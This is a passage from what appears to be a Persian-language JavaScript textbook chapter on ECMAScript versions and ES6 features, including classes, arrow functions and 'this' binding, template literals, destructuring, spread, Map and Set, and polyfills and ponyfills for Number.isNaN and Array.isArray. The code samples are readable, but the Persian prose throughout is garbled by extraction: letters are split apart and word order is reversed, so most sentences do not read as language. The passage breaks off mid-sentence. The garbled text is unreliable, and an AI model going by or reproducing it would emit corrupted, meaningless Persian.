ر د نآ ل ماک و ح ی ح ص ی ار ج ا یار ب د ن وشیم هداد [ ؟ت سی چ ES ه دها ش م د دع کی هارم ه هب ا ر ES ترا ب ع هک راب ر ه ، تسا ECMAScript ه دش هص لاخ ES 1 technical commitee 39 160 تپی رکسا امک ا ی اه هخ سن ","رشتن م نآ ز ا ه خس ن 9 ر ضاح ل اح ر د و د ن کیم ه راش ا ت پ یرکس ا م ک ا ز ا ه خس ن کی ه ب اتدعاق ،دی ن کیم .داد م یه ا و خ یل ک ح یضوت ما دک ر ه د روم ر د ه ک د ناه دش ا م کا را ه چ ات کی ی ا هه خ سن Guy طس وت هک ت پ یرکس ا م ک ا ز ا ه خس ن ن یتسخ ن ه ک دش رشتن م 1997 ل ا س نئوژ ر د 1 ه خس ن .د وب ه دش شیاریو L. Steele Jr یزا س د ر ا د ن ات سا ر د ت ار ییغت کی ل ماش و دش رشتن م 1998 ل ا س نئوژ خی رات ر د 2 ه خس ن .د وب نابز ت ا را ب ع ندش ه ف اض ا ، د نن ام یت ار ییغت ،دش رشتن م 1999 ل ا س رب ما سد خی رات ر د 3 ه خس ن .د ن دش ه ف اض ا ه خس ن نیا ر د … و try/catch یاه ک و ل ب ،اههتشر تیری دم ، مظن م هخس ن اب ی د ا ی ز رایسب یاهتوافت هخس ن نیا ، دش اهر ه راک ه م ی ن و د شن هئا ر ا ه ک 4 ه خس ن ر طاخب رتش یب ندش اهر ن یا ل یل د و د وب او اج د نن ام ی ر ب ث ر ا م یهافم و سلا ک ی ا ر اد و ت ش اد هس اهد ع ب ،د نتفر گ ر ار ق 6 ه خس ن ر د ز ی ن اهیگژ یو یخر ب و د وب نابز یگدی چ ی پ ه رابر د یتس ای س ی اهتوافت .ت ش ا د ن ینا د ن چ ت ی قف وم یلو دش رشتن م ActionScript م ا ن ه ب رگید ین ابز ن ا و ن ع هب هخس ن نیا اهنآ هب ط وب ر م تاعوضوم ن د وب ی می دق ل یل د ه ب هک د وب ت پ یرکس ا م ک ا یمس ر عور ش لوا ه خس ن را ه چ .میو ریم رت د ی دج یاههخس ن غارس ه ب و هدر ک یر ادد و خ هن یمز ن یا ر د رتش یب ح یضوت ز ا ES5 ه خ سن هخس ن نیا ر د . دش هض ر ع ت پ یرکس ا م ک ا ه خس ن ن یلو ا ز ا سپ ل ا س هد ا بیرقت 2009 ل ا س رب مات سد ر د ز ا ین ا ب یت شپ ، setter و getter یاهدتم ، د وب ه دش ه ف اض ا ) mode strict ( هنار یگ ت خ س ت لاح 2011 ل ا س ر د و د ع ب ل ا س ود هتب ل ا ، د ند وب ه دش هض ر ع اه Object یور ر ب اه د و به ب ی ر س کی و JSON .دش رشتن م یزا سد ر ا د ن ات سا یار ب 5.1 ه خس ن ES2015 ا ی ES6 ه خ سن ES6 ه ک ار چ دی ن ک بجعت و د وشیم عور ش هخس ن نیا ر د یم ک د ی اش و دش رشتن م 2015 ل ا س نئوژ ر د ه دی چ ی پ ی اههما نر ب دیلوت ی ار ب یبو خ رایسب یاهیگژ یو ه خس ن نیا ر د ، د نت سه ناس کی ES2015 و د ی دج یاهیگژ یو یخر ب ه رابر د ه ک دشابیم اه لوژ ام و اه Class ل ماش اهیگژ یو نیا ،تسا ه دش ه ئا ر ا .داد م یه ا و خ ح یضوت 161 مهن شخب ",") ES2018 , ES2017 , ES2016( 9 , 8 , 7 ی ا هه خ سن 2018 , 2017 , 2016 ی اه ل ا س ز ا نئوژ ه ام ر د هنلا ا س تروص هب زی ن ت پ یرکس ا م ک ا ز ا اههخس ن نیا .د ناه دش ه ف اض ا د ر ا د ن ات سا نیا ه ب د ی دج یتا ن ا ک م ا کی ر ه ر د و د ناه دش رشتن م ES.Next ه خ سن هدر ک ه دها ش م زی ن ا ر ES.NEXT ن ا و ن ع ،دی ن کیم ه ع لا ط م هک یت لا ا ق م و ب لا ط م ر د تسا نکم م تسا ر ار ق هک ی اه خس ن ،دو ریم راک هب ت پ یرکس ا م ک ا ی د ع ب هخس ن ه ب ه راش ا یار ب د روم ن یا ، دیشاب .د وشیم ل ماش ا ر د وش رشتن م ی لعف ه خس ن ز ا سپ و د ن کیم ه ف اض ا ت پ یرکس ا م ک ا نابز هب و ده دی م ه ئا ر ا ا ر ید ی دج تا ن ا ک م ا و اهیگژ یو ،ه خس ن ر ه نیرتیل ص ا .د وشیم م ا جنا هنلا ا س و مظن م تروص هب ،اههخس ن ین ا س رزور هب ن یا ر ی خا ی اه ل ا س ی ط ر د ، دشابیم ی ر یگ د ا ی یار ب ت ی م ه ا زئ اح هک تسا هداد خ ر نآ ز ا د ع ب یاههخس ن و ES6 ر د ت ار ییغت .در ک م یه ا و خ ه راش ا نآ ی ل ک یاهیگژ یو و ES6 ه ب طقف ب اتک ن یا [ ES6 ی اهی گژ یو در ک ه ف اض ا ت پ یرکساو اج هب ا ر ی ی ا بی ز و ر یگ مش چ تا ن ا ک م ا و ت ار ییغت ، ES6 ر د گ رزب ل و حت ز ا یخر ب م ی ن کیم ی عس ش خب ن یا ر د . د ن کیم رتش خب تذل و رتیاهفر ح ا ر نآ اب یس ی و نه ما نر ب هک نیا ،م یتفگ رتش ی پ ه ک رو طن ا م ه ، م ی ن ک ی س ر ر ب ی ل ک تروص هب ا ر 6 ه خس ن ر د ه دش ه ئا ر ا ی اهیگژ یو ،اه سلا ک :د نن ام یتا ن ا ک م ا و دش هداد هئا ر ا ت پ یرکس ا م ک ا ر د یر یگ مش چ یاه د و به ب و ت ار ییغت هخس ن ه دش ه ف اض ا نآ هب 2 … و object ت ح ا ر تیری دم ،اههتشر هد ا س تیری دم ، Arrow Functions ل ماک م ی ه فت ر د یعس ل اثم ه ئا ر ا اب و هداد ح یضوت ا ر ی ل ص ا ه دش ه راش ا ی اهیگژ یو ه م ادا ر د .تسا .ت ش اد م یه ا و خ بلط م Classes ا هسلا ک ع ب ا وت م و ه فم و prototype ه رابر د ن ی ش ی پ ی اه لصف ر د ه ک ار چ ،دیتسه ا ن شآ سلا ک م و ه فم اب اتدعاق یلخاد ی اهیگژ یو و ع ب ا وت فیرعت یار ب هلوز یا ط ی ح م کی اه سلا ک .دش ی ل ماک تبح ص اهنآ یور فیرعت ها وخل د ع ب ا وت و اهیگژ یو اب و ه رو ظن م ص ا خ ی اه تید وجوم هک د ن زا سی م ر د اق ا ر ام و د نت سه .م ی ن ک هد افت سا و نآ ز ا هد افت سا نا ک م ا و اه سلا ک د وجو ES6 ز ا هد افت سا یار ب ه د نن ک عن اق رایسب لیلاد ز ا یکی لا ا مت ح ا 2 http://es6-features.org/ 162 تپی رکسا امک ا ی اه هخ سن ","prototype ز ا هد افت سا ه ب یزای ن رگید و دش هداد حر ش class یدی ل ک ه مل ک هخس ن نیا ر د ، دشابیم :تسا ه دش ه ئا ر ا 6 و 5 ه خس ن ر د سلا ک یح ار ط م ا جنا ه و حن ز ا ی لاثم ش خب ن یا ر د ، دشابی من // ES6 class class Things { constructor () { // run when create new instance } capture() { // a method on this class } } // extend class class Glass extends Things { capture() { // call parent method super .capture(); // … } } // ES5 code var Things = function () { // … }; Things.prototype.capture = function () { // … }; م ا ن ه ب ه د ن زا س ع بات کی م ی نا وتیم ه دش فیرعت سلا ک ر ه ،یس ی و نه ما نر ب یاهنابز ر ثک ا ر د ) د ی دج object کی تخ ا س یار ب (سلا ک نآ ز ا ن در ک new م ا گن ه هک م یشاب هتش اد constructor .د وشیم ار ج ا و اهیگژ یو ز ا هد افت سا و رگید یسلا ک ز ا ندش extend نا ک م ا , ES6 ر د ه دش فیرعت ی اه سلا ک .د زا سی م م ه ارف extends یدی ل ک ه مل ک ز ا هد افت سا اب ا ر )تثا رو ( دل او سلا ک یاهدتم 163 مهن شخب ","Arrow Functions arrow functions یگژ یو د وجو ES6 ناگد ن ه د هعس وت ر د ی د ن م هق لا ع د ا جیا یار ب ا بی ز نا ک م ا کی و اها طخ ز ا یر یگو ل ج ی ار ب ، ه دش هتشو ن ی اهدک ی ی ا بی ز و یس ی و ن دک مج ح ش هاک ر ب هولا ع هک تسا درکلم ع ا ضع ب ت پ یرکساو اج هک ار چ ،د ن کیم لم ع دمآراک رایسب scoping هب ط وب ر م یاهیگدی چ ی پ و د ن کی من ه راش ا یلعف object هب ه ر ا و م ه this یدی ل ک ه مل ک . د ر اد اه object اب د رو خر ب ر د یب ی ج ع ر د ا ر یت لاکش م ه ر ا و م ه ، م ی ن ک ه راش ا رظن د روم object هب this اب م ی نا وتب هک ی طیار ش ن د روآ م ه ارف نیا ل ح ر ب ی عس ت پ یرکساو اج هتسه ناگد ن ه د هعس وت و اه سی و نه ما نر ب . در کیم م ه ارف ی س ی و ن دک ا ر راک ت یهام ا ضع ب هک د نت ش اد ع ب ا وت یور ر ب apply ا ی call ز ا هد افت سا ا ی ن در ک bind اب لکش م .م یه دی م حر ش ا ر ES6 ل ح ها ر و م ی نز یم ص و صخ نیا ر د ا ر ی ی اه ل اثم هم ادا ر د ،در کیم ه دی چ ی پ یلو مع م scope هن و د ن کیم ر یسفت lexical scope ر د ا ر this م و ه فم ت پ یرکساو اج اح لاط ص ا هن اف س اتم و د وشیم ت پ یرکساو اج ناگد ن ه د هعس وت ز ا ی رایسب یه ارم گ ب جوم ع وضوم نی م ه و د نت سی ن ا ن شآ ع وضوم ن یا ل ماک و ق یق د م و ه فم اب ناگد ن ه د هعس وت ز ا ی رایسب زی ن ر ضاح ل اح ر د و scope ز ا ی لاثم هب . د وش ه ع لا ط م ی لب ق یاه ش خب ر د this هب ط وب ر م ش خب ا مت ح منک یم د ا هنش ی پ .د ن کیم لم ع لک ش نی م ه هب ا ق یق د ز ی ن this د روم ر د ، دی ن ک ت ق د اه ر یغتم ی یار ج ا هدو د ح م var scope = “I am global”; function whatismyscope() { var scope = “I am just a local”; function func() { return scope; } return func; } whatismyscope()(); // I am just a local 164 تپی رکسا امک ا ی اه هخ سن ","ل وئسم هک می ر اد ص خ ش م س ر د آ کی ز ا و جشناد تاع لا ط ا تف ا ی ر د یار ب سلا ک کی دی ن ک ضرف هد ای پ ضرف اب ع بات ن یا ، دشابیم هداد نآ یور ر ب ص ا خ یت ای لم ع ی ار ج ا و رظن د روم یات ید تف ا ی ر د :د وشیم هتشو ن ری ز لک ش هب ی رئ وک یج ه ن اخباتک یور ر ب ES5 ه خس ن اب یزا س // Student class function Student () { var data; }; $.extend(Student.prototype, { getData: function () { $.get( ‘/data’ , function ( response ) { this .data = response.data; }); }, }); تسا هن اخباتک نآ ر د د وجوم یاهدتم اب بلط م م ی ه فت ی ار ب طقف یرئ وکیج ل اثم ز ا هد افت سا :هتکن .ت سی ن حرط م ه د ن س ی و ن طس وت نآ ز ا هد افت سا م دع ا ی هد افت سا ه ب ح یج رت و ندش extend ز ا د ع ب هک دشابیم data م ا ن ه ب ه ص خ ش م کی یا ر اد Student سلا ک ق و ف ل اثم ر د ع بات )/ data ( رظن د روم url ز ا ،هداد تف ا ی ر د و ندش get م ا گن ه ر د می ر اد را ظتنا ، نآ prototype ضرف نیا ام ا ،د وش رپ student سلا ک ی ار ب data هص خ ش م و د وش ار ج ا callback یار ب ه دش هتشو ن سلا ک ی ار ب this ر ا د ق م ز ا رت توافتم callback ع بات لخاد ر د this ر ا د ق م هک ار چ … تسا ه ا بت ش ا .د ن کیم ه راش ا ی مو م ع object هب و دشابیم Student ار ج ا student سلا ک هب ط وب ر م scope ر د ر هاظ هب callback ع بات هک تسا نیا ،ر م ا نیا ل یل د سلا ک هب لام ع نآ لخاد ر د ه دش هتشو ن this و دشابیم یمو م ع نآ lexical scope ام ا د وشیم ده ا و خ ار ج ا لا اب دک سپ ، دس ی و ن ب هداد نآ یور ر ب this.data ینا و خارف اب هک د ن کی من ه راش ا Student تس ر ب ا ر ضرف نوچ و د وشیم هتشو ن ام رظن د روم هداد ، window.data یور ر ب لا ا مت ح ا ام ا ، دش .د رو خی م ا طخ ه ب ه دش هتشو ن دک ، مید وب هتش ا ذگ قیر ط ن یا ز ا data یگژ یو ندش هک that ا ضع ب ا ی self م ا ن ه ب ی لح م ر یغتم کی ن ا وتیم ، ES6 ز ا لب ق شو ر اب ، لکش م ن یا ل ح ی ار ب نآ ز ا this یاج هب و فیرعت $.get ز ا لب ق ا ر ،د ند وب ا طخ نیا ع وقو ز ا یر یگو ل ج ی ار ب جیا ر یاه م ا ن 165 مهن شخب ",":ل اثم ی ار ب . در ک هد افت سا یلح م ر یغتم var self = this ; $.get( ‘/data’ , function ( response ) { self.data = response.data; }); Arrow ز ا ر گ ا و تسا ه دش هت فر گ رظن ر د ع وضوم ن یا یار ب ی رته ب و رتهد ا س رایسب را ک ه ا ر ES6 ر د ام ا در یگی من یرگید scope رگید callback ر د د وجوم this م ی ن ک هد افت سا ش خب ن یا یار ب Functions :ت ش اد م یه ا و خ سپ .در ک ده ا و خ ه راش ا Student سلا ک نا م ه هب و $.get( ‘/data’ , (response) => { this .data = response.data; }); :تسا ت ی م ه ا زئ اح مه م هت کن ود لا اب دک ر د ع بات فیرعت یار ب ی رتعیرس و رتهد ا س شو ر و ه دش ن یزگی اج = < اب function یدی ل ک ه مل ک .تسا ه دش هد افت سا نیا ر د ه ک د ن کیم لم ع د و خ یلب ق scope ق با ط م و د ن کی من ه راش ا lexical scope هب this .دشابیم Student سلا ک هب ط وب ر م scope ل اثم ) template literals( ا ه هت شر ب لا ق ش ز ادرپ د وشیم ث عاب هک تسا یدر براک ام ا هد ا س رایسب یگژ یو کی اه لارت یل ب لاق ا ی اههتشر ب لاق ) ' ( یاج هب ) ` ( ج ر د اب راک ن یا .د وش م ا جنا ی گ د ا س ه ب اههتشر لخاد ر یغتم ز ا هد افت سا و اههتشر :ده دی م ح یضوت ا ر م و ه فم ن یا ی گ د ا س ه ب ری ز ل اثم ، دری ذ پی م م ا جنا ) ( ا ی let name = ‘ali’, timeName = ‘sobh’; // ES6 : use the (`) console .log( ` ${name}, ${timeName} ` ); // ES5 console .log( ‘ ‘ + name + ‘, ‘ + timeName + ‘ ’ ); ملاس ر یخب ملاس ر یخب 166 تپی رکسا امک ا ی اه هخ سن ","هب و د وشیم ی ر یگو ل ج یلا مت ح ا ی اها طخ ز ا ی رایسب ع وقو ز ا ی گژ یو نیا اب هک د وشیم ه دها ش م .م یس ی و نی م ) `` ( لخاد ا ر نتم ل ک و هداد ر ار ق ${ } لخاد ا ر د و خ ر یغتم یگ د ا س هک ی ا هن وگ هب . در ک هد افت سا ز ی ن د نن کیم تف ا ی ر د یاهت شر رت م ا را پ ه ک ی ع ب ا وت ر د ا ر اههتشر لارت یل س ا پ ع بات هب ا ر رظن د روم ترا ب ع ` رگلم ع ز ا هد افت سا اب و هدر ک ف ذح زی ن ا ر ی نا و خارف ی اهزت نارپ یت ح .داد function showMeThis(input) { console . log ( input ); } showMeThis `Hi there, I am ${name}` ; Object و هیا رآ یا ر ب Destructing یرس کی ر د ا ر هیا رآ کی ی اه index ا ی object کی ی اهه ص خ ش م هک می ر اد زای ن ع ق ا وم ی ضع ب ر د .م ی ن کیم هد افت سا ES6 ی گژ یو ز ا دک هد ا س نت شو ن ی ا ج ب د ر ا وم ه ن و گنیا ر د ،م ی ن ک ج ر د ص خ ش م ر یغتم :ل اثم // ES6 var [x, y] = point; var { name, age } = obj; // ES5 var x = point[ 0 ], y = point[ 1 ]; var name = obj.name, age = obj.age; یه د ر ا د ق م point هیا رآ مود و لوا ی اه index ز ا ب یت رت ه ب y , x یاه ر یغتم ، ق و ف دک ی ار ج ا اب age و name یاه ر یغتم ب یت رت ن ی م ه هب ، تسا ه دش هتشو ن ES6 و ES5 ی اه ت م رف ه ب هک ،د ن وشیم .د ن وشیم یه د ر ا د ق م obj ر یغتم ر د د و خ م ا ن م ه یاهیگژ یو ز ا spread رگلمع ر د ا ر ام د نا وتیم .د ن کیم ا دی پ ینع م م ه را ن ک ر د هطقن هس ن داد ر ار ق اب یگ د ا س ه ب هک رگلم ع ن یا رایسب یاه در براک ی ا ر اد ی گژ یو نیا . د ن ک کم ک فلت خم یاههعو مج م رید ا ق م ز ا هد افت سا و ی ه د ر ا د ق م .د ی وشیم ا ن شآ نآ م و ه فم اب رته ب ی در براک ل اثم د ن چ ه ئا ر ا اب هک دشابیم ی ی ا بی ز نآ ر د ا ر رگید هیا رآ کی ر صا ن ع م ا مت دیه ا و خی م و د ی ر اد رصن ع 4 اب ه یا رآ کی دی ن ک ضرف ل اثم ی ار ب 167 مهن شخب ",":دیس ی و نی م ری ز دک هبا ش م یدک ،دیس ی و ن ب var mid = [ 3 , 4 ]; var arr = [ 1 , 2 , mid, 5 , 6 ]; console .log(arr); هیا رآ م و س رصن ع ر د ]3,4[ هیا رآ و ت سی ن ام رظن د روم ه ج یت ن اتدعاق د ی روآیم تس دب هک یجو رخ :د وب ده ا و خ ری ز مرف ه ب دک یجو رخ و در یگیم ر ار ق arr [ 1 , 2 , [ 3 , 4 ], 5 , 6 ] :م ی ن ک دیلوت ا ر ری ز یجو رخ م یت سا و خی م ام هکیلاح ر د [ 1 , 2 , 3 , 4 , 5 , 6 ] ح ی حصت ری ز لک ش هب ا ر د و خ دک و م ی ن کیم هد افت سا spread یگژ یو ز ا ی گ د ا س ه ب راک ن یا م ا جنا یار ب :م ی ن کیم var mid = [ 3 , 4 ]; var arr = [ 1 , 2 ,...mid, 5 , 6 ]; console .log(arr); // [1, 2, 3, 4, 5, 6] هد افت سا تروص ر د ه ک میدر کیم هد افت سا concat ز ا ت س ی ابیم یراک نی ن چ م ا جنا یار ب ES6 ز ا لب ق ری ز تروص هب لا اب دک ه کت ل اثم ی ار ب . م ی ن ک تی اعر ا ر ر صا ن ع ح ی ح ص ب یت رت م یتس نا وتی من ز ی ن نآ ز ا :در کیم دیلوت ا ر رظن د روم ب یت رت نودب یجو رخ ه ک دشیم هتشو ن var mid = [ 3 , 4 ]; var arr = [ 1 , 2 , mid, 5 , 6 ]; console .log(arr.concat(mid)); // [1,2,5,6,3,4] Set و Map ی ا ههع و مج م ،م ی ن کی من هد افت سا object ا ی هیا رآ ز ا هش ی م ه ،اهنآ تیری دم و اه هداد ز ا ه عو مج م کی ی ر ا د هگن یار ب 168 تپی رکسا امک ا ی اه هخ سن ","هما نر ب ید ن مزای ن س ا سا ر ب Set ا ی و Map یاه سلا ک ز ا ت پ یرکس ا م ک ا ز ا 6 ه خس ن ر د ن ا وتیم هک ار چ :د ن شابیم ری ز تروص هب اهدک ن یا ی اه ل اثم . م ی ن ک هد افت سا رظن د روم const map = new Map ([[ 1 , ‘one’ ], [ 2 , ‘two’ ]]); map.get( 1 ); // 1 const set = new Set ([ ‘a’ , ‘b’ , ‘c’ ]); set.has( ‘c’ ); // true ل ماش ES6 هک یلاح ر د ، د ناه دش نایب ی حطس و یئز ج رایسب ES6 د روم ر د ه دش ه ئا ر ا تا ح یضوت .دشابیم یرایسب ب لاج لئ اسم و اههت کن [ Polyfill موهف م هب ر گرو ر م هک د ی دج یگژ یو کی ز ا هد افت سا نا ک م ا ن در ک ه ف اض ا یار ب ،نیگ لاپ ا ی دک ه کت کی 2009 ل ا س ر د و remy sharp طس وت راب نیلو ا هژاو نیا ، د ن کی من ین ا ب یت شپ نآ ز ا ضرفش ی پ تروص کی تروص هب د وشیم هدوزفا ر گرو ر م هب هک ی ی اهیگژ یو ه ب ه راش ا یار ب یتغل ن ا وتب ات ،دش حرط م .در ک د ا جیا ناگد ن ه د هعس وت نایم د ر ا د ن ات سا یور ر ب ر ا د ق م ا ی ر یغتم کی ) ن د و بن د دع ( NaN یس ر ر ب ی ار ب ت پ یرکس ا م ک ا ز ا 6 ه خس ن ر د ل اثم ی ار ب م ا ن اب هک ی لب ق ع بات ات ، تسا ه دش ه ف اض ا isNaN مسا ه ب یدتم Number یار ب د وجوم object Number یار ب د وجوم object یور ر ب د وب سرتسد ر د Utility ب لاق ر د و ی مو م ع تروص هب isNaN .د وش هد افت سا ر د اه ر گرو ر م و تسا د وجوم ت پ یرکس ا م ک ا ز ا 6 ه خس ن یو ر ر ب یگژ یو نیا دش ه راش ا ه ک رو طن ا م ه ام ا یرا ک ه ا ر سپ ، د نن کی من ین ا ب یت شپ ی گژ یو نیا ز ا ل ماک تروص هب لاعف ب اتک ن یا ندش هتشو ن نامز یمی دق یاههخس ن یو ر ر ب یگژ یو نیا ز ا هد افت سا یار ب Polyfill کی ی ح ار ط م یه دی م ه ئا ر ا ه ک هب ری ز لک ش هب یدک دی ن ک رو صت ، دشابیم ار ج ا ل باق یگ د ا س ه ب ه دش یح ار ط را ک ه ا ر . تس اه ر گرو ر م :م ی ن ک ه ف اض ا د و خ هژورپ if (! Number .isNaN) { Number .isNaN = function isNaN ( x ) { return x!== x; }; } 169 مهن شخب ","هک می وشیم هجوتم ، د و شن ر ار ق ر ب if کلا ب ر د ییا دتب ا ه دش هتشو ن طر ش هک یتروص ر د راک ن یا اب ع بات ز ا هد افت سا اه ر گرو ر م ی لب ق یاههخس ن ر د نوچ و د ن کی من ین ا ب یت شپ ت ی ل باق ن یا ز ا ر گرو ر م ه دش هتشو ن ی اهدک و م یه دی م ر ار ق ع بات ن یا ر ب ار ب ا ر Number یور ر ب د وجوم دتم ، د وب زا ج م isNaN .در ک د ن ه ا و خ راک لکش م و ا طخ نودب زی ن د ی دج مرف اب ندش polyfill ل باق یگ د ا س نیا ه ب ه دی چ ی پ ی اهیگژ یو ا ضع ب و د وب هد ا س رایسب ل اثم ن یا هتب ل ا هب رظن د روم یگژ یو ن دوزفا یار ب ی رتش یب هد افت سا د روم قطن م ا ی رتش یب دک ت س ی ابیم و د نت سی ن یرس کی یا ر اد ا ی و ت سی ن ری ذ پ نا ک م ا polyfill ل ماک م ا جنا ز ی ن اه ت قو ی ضع ب و د وش ه ف اض ا هژورپ .دشابیم اه صقن و ط ایتح ا اب ت س ی ابیم راک ن یا یار ج ا و د وشی من م ا جنا ام د و خ طس وت polyfill یار ج ا اموزل ام ا باه ت یگ یور ر ب زاب نتم تروص هب یبو خ ع با ن م ل یل د ن ی م ه هب د وش م ا جنا بس ا ن م یاه ت ست دی نا وتیم ( . د نی ا من ری ذ پ نا ک م ا ام ی ار ب ا ر ح ی ح ص لک ش هب polyfill م ا جنا ات د نت سه سرتسد ل باق ) . دی ن ک و جت سج طبتر م جی ات ن نتف ا ی یار ب ا ر shim-es6 ا ی shim-es5 [ polyfill رت هب ش ور ر د ه دش ر ک ذ ل اثم هب ا ی و دیشاب هدر ک هجوت فلت خم ع با ن م ر د د وجوم یاه polyfill ه ب ر گ ا یس ر ر ب ی ار ب if ک و ل ب کی ز ا ه ک دش دیه ا و خ ه جوتم ،د ی وش ق یق د یم ک ش خب ن یا ییا دتب ا ش خب هب ه ج یت ن س ا سار ب س پ س و م ی ن کیم هد افت سا ر ی خ ا ی دشابیم ر ار ق ر ب ام را ظتنا د روم یگژ یو ا ی آ ه کنیا ش خب و د ر د ا ر د و خ رظن د روم یاهدک و ه دش علط م رظن د روم نا ک م ا ندش ی ن ا ب یت شپ ز ا ه دمآ تسد .میاهدر ک م یس قت د وشی من ین ا ب یت شپ و د وشیم ی ن ا ب یت شپ :ی اه ت لاح ی ار ب هئا ر ا isArray دتم ی ار ب polyfill م ا جنا د روم ر د رگید ل اثم کی ع وضوم رته ب ندش نشور ی ار ب .م یه د ی م // source: https://developer.mozilla.org/en-US/docs/Web/Ja-vaScript/Reference/Global_Objects/Array/isArray if (!Array.isArray) { Array.isArray = function(arg) { return Object.prototype.toString.call(arg) === ‘[object Array]’; }; } 170 تپی رکسا امک ا ی اه هخ سن ","Array یور ر ب را ظتنا د روم یگژ یو ن د وب د وجوم ی س ر ر ب ی ار ب if طر ش ز ا اد د ج م هک م ی ن کیم ه دها ش م ؟ تسا شو ر ن یرتهن ی ه ب شو ر ن یا ا ی آ ام ا .میاهدر ک هد افت سا !دشاب هتشو ن polyfill کی ) Array ( ی مو م ع object نیا یو ر ر ب م ه رگید هن اخباتک کی دی ن ک رو صت ت س ی ابیم ه ش ی م ه هک ی ا هتکن کی … تسا ین یب ش ی پ ل باق ر ی غ ا ع ق او ، دتفیب تسا نکم م هک یقافت ا یی اه object یل ک ت لاح ر د ا ی global یاه object هجو چ یه هب هک تسا نیا دیشاب هتش اد رظن ر د .دی نکن ی را کتسد ا ر ت سی ن نات د و خ ه ب قلعت م هک ند شن ی را کتسد ه ب ن د وب ر او دیم ا و prototype یور ر ب دتم کی ن د وب د وجوم ی س ر ر ب یا ج ب سپ یاهرا ک ه ا ر میا هتفر گ د ا ی لاب ق هک ی م یهافم ز ا هد افت سا اب م ی نا وتیم ،ن ارگید طس وت object نیا ،م ی ن کیم هد افت سا نآ ز ا هن و گ چ و ت سیچ closure هک میا هتفر گ د ا ی لاب ق ، م یه د هئا ر ا ا ر ی رت بس ا ن م م یه د هئا ر ا polyfill یار ب ا بی ز و بس ا ن م رایسب یرا ک ه ا ر م ی نا وتیم IIFE و closure اب یزاب ی م ک اب .د و من م یه ا و خ یس ر ر ب هم ادا ر د ه ک [ Ponyfill یا ر ب IIFE و Closure ز ا ه دا فت س ا هب هک م ی ن کیم د ا هنش ی پ دیتسی ن طل سم ل ماک تروص هب ا ر اه Closure و IIFE هب ط وب ر م ب لا ط م ر گ ا .دی ن ک ه ع لا ط م ا ر ش خب ن یا س پ س و هدر ک ه ع ج ار م هطوب ر م ش خب .د وشیم polyfill ی د ع ب دک ه کت لک ش هب هک د یر ی گ ب رظن ر د ا ر Array ز ا isArray دتم if (! Array .isArray) { Array .isArray = function ( arg ) { return Object .prototype.toString.call(arg) === ‘[object Array]’ ; }; } د و بن تروص ر د و ر ی خ ا ی د ر اد د وجو Array یور ر ب رظن د روم دتم هک د ن کیم ی س ر ر ب polyfill نیا یدرکیو ر .دس ی و نی م Array یور ر ب ا ر ام ه دش هتشو ن دتم )ر گرو ر م طس وت ند شن ین ا ب یت شپ( دتم کی ا دتب ا ر د ،د وب ده ا و خ رت توافتم ی م ک و دشابیم ponyfill ن ا و ن ع اب م ی ن ک هد ای پ م یه ا و خی م هک یزای ن ه ک توافت ن یا اب .ده د م ا جنا نا میار ب ا ر هطوب ر م هفیظو ات م یس ی و نی م isArray مسا ه ب ع بات .م یس ی و نی م د ع ب دک ه کت لک ش هب ا ر ع بات ه ن دب ا دتب ا .د وب ده ا وخ ن Array object ر د ی را کتسد ه ب 171 مهن شخب ","// isArray ponyfill function function isArray ( collection ) {} و م ی ن کیم ه ف اض ا ع بات هب ا ر ر گرو ر م طس وت ندش ی ن ا ب یت شپ ت لاح ، ponyfill ن داد م ا جنا عور ش ی ار ب کی ن داد ر ار ق اب سپ ،تسا ر اد رو خر ب Array یور ر ب isArray نا ک م ا ز ا ر براک ر گرو ر م م ی ن کیم ضرف درکیو ر ، رظن د روم دتم نتش اد د وجو تروص ر د ،ر ی خ ا ی د ر اد د وجو دتم هک م ی ن کیم ی س ر ر ب if کلا ب :م یه دی م تش گزاب یجو رخ ن ا و ن ع هب ا ر ر گرو ر م د وجوم و ضرف ش ی پ // isArray ponyfill function function isArray ( collection ) { if ( Array .isArray) { return Array .isArray(collection); } } تیری دم ا ر ر گرو ر م طس وت isArray دتم ندش ی ن ا ب یت شپ ت لاح ام ه دش هتشو ن ع بات ا جنیا ه ب ات return یا ر اد if کلا ب ر د ع بات نوچ ( د ر ا د ن د وجو رگید ت لاح ی ار ب else ش خب هب یزای ن ، د ن کیم هتشو ن دک ، رظن د روم یگژ یو ن دوزفا یار ب ه دش هتشو ن ی مو م ع تروص هب هک لوا دک ه کت ز ا سپ )تسا :م یه دی م ر ار ق دک هم ادا ر د و هت ش ادر ب ا ر ه دش // isArray ponyfill function function isArray ( collection ) { if ( Array .isArray) { return Array .isArray(collection); } return Object .prototype.toString.call(collection) === ‘[object Array]’ ; } نیع ر د و میدزن تسد ا ر هد افت سا د روم ی ل ص ا object ام ع بات ن یا اب ،دیشا بن یرگید ی اهدک رظتن م .میا هداد م ا جنا ا ر د و خ رظن د روم هفیظو native یاهدک ز ا هد افت سا اب ل اح طر ش ع بات ندش هد ز ا دص راب ر ه اب هک تسا نیا نآ و د ر اد د وجو دتم ن یا ر د ک چوک لکش م کی طقف نیا ز ا یر یگو ل ج ی ار ب ، د ر ا ذگیم ر ی ث ات هما نر ب سن مرو فرپ ر ب ع وضوم ن یا و د وشیم ک چ ه دش هتش ا ذگ ر گرو ر م ی ن ا ب یت شپ یس ر ر ب را بکی ه ما نر ب ی ار ج ا نامز ر د ه ک م ی ن کیم یح ار ط closure کی ز ی ن ع وضوم .د و شن ر ارکت ق افت ا نیا رگید و ه دش ی س ر ر ب isArray ز ا 172 تپی رکسا امک ا ی اه هخ سن ","نآ ی ار ب IIFE ع بات کی و م ی ن کیم لی د بت isArray ر یغتم هب ا ر isArray ع بات ا دتب ا را کنیا یار ب :م یس ی و ن ی م var isArray = ( function () { })(); ا ر if کلا ب اب رظن د روم دک ر گ ا سپ ،د وشیم ار ج ا راک ی ا دتب ا ر د و ه ما نر ب ی ار ج ا ضح م هب ع بات ن یا چ یه ام هک دی ن ک هجوت ام ا ،د وشیم م ا جنا یس ر ر ب هیلو ا یار ج ا م ا گن ه را بکی طقف م یس ی و ن ب ع بات لخاد س ا پ ه ب یموزل native ت لاح ی ار ب collection یدو رو هک ار چ ، م یه دیمن IIFE ع بات ن یا ه ب ی دو رو تش گزاب تسا ع بات کی ه ک ا ر Array.isArray دک ه کت د و خ ا هنت م ی نا وتیم ام و د ر ا د ن ندش هداد :)داد تش گزاب ر یغتم تروص هب ا ر ع بات ن ا وتیم ت پ یرکساو اج ر د نوچ ( م یه د var isArray = ( function () { if ( Array .isArray) { return Array .isArray; } })(); یدو رو کی ه ک م یس ی و نی م ع بات کی ه ما نر ب رظن د روم دک ه کت ر د ز ی ن if 